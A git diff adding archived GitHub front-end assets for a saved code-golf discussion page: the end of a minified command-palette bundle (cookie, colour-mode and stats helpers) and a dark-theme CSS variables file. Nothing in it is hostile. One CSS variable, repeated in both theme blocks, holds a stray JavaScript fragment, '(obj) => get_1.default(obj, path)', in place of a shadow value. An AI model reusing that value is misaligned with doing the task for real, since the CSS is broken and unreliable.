Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: 